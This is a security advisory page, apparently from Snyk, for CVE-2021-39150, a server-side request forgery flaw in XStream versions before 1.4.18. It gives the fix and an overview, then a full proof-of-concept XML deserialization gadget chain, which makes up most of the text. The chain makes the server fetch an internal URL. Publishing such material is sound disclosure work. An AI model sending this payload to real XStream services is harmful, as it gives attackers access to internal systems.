Server-Side Request Forgery (SSRF) Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of concept
EPSS
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
0.47% (76th percentile)
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- published24 Aug 2021
- disclosed24 Aug 2021
- creditLai Han
Introduced: 24 Aug 2021
CVE-2021-39150 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
PoC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>jdk.nashorn.internal.runtime.Source</class>
<name>readFully</name>
<parameter-types>
<class>java.net.URL</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<url>http://localhost:8080/internal/</url>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);
References
CVSS Scores
version 3.1